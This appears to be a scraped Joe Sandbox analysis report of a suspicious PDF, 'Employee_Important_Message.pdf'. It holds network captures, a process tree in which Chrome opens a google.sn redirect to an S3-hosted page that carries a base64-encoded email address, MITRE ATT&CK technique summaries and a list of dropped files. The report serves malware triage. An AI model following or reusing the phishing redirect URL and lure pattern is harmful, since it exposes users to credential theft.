<RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:06 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:06 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: dbe9ef63-901e-005b-3a83-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165706Z-174f7845968nxc96hC1EWRspw800000014d000000000mc0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:06 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:06 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:06 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 56289a14-001e-0028-02a9-42c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165706Z-174f7845968nxc96hC1EWRspw800000014k00000000017y7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:06 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:06 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:06 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 3a28b270-401e-00ac-75b5-430a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165706Z-174f7845968pf68xhC1EWRr4h800000014wg00000000q0dn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:06 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:06 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:07 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:07 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 581112ab-301e-0000-7391-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165707Z-174f7845968kvnqxhC1EWRmf3g0000000rk00000000083cw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:07 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:57:07 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:57:07 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:57:07 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e09bbfae-501e-00a0-6a93-439d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165707Z-174f7845968zgtf6hC1EWRqd8s0000000xhg00000000wc0w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:57:07 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Target ID:	0
Start time:	11:55:02
Start date:	02/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Employee_Important_Message.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:55:03
Start date:	02/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:55:03
Start date:	02/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1616,i,3436419427165153113,17725779986340987366,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:55:06
Start date:	02/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.google.sn/url?q=lheard@wc.com&wc.com&sa=t&url=amp/s/i--iy.s3.us-east-1.amazonaws.com/vocabulary.html#bGhlYXJkQHdjLmNvbQ==
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	11:55:07
Start date:	02/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1960,i,2475792775790874993,11739866391639367341,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Employee_Important_Message.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3618080e-0053-4332-8225-a79969f83ed9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3ef5fb.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fb498dda-be47-4691-bc1d-03e0bbd960ab.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241202165509Z-194.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

C:\Users\user\AppData\Local\Temp\MSIeba2a.LOG

Windows Analysis Report
Employee_Important_Message.pdf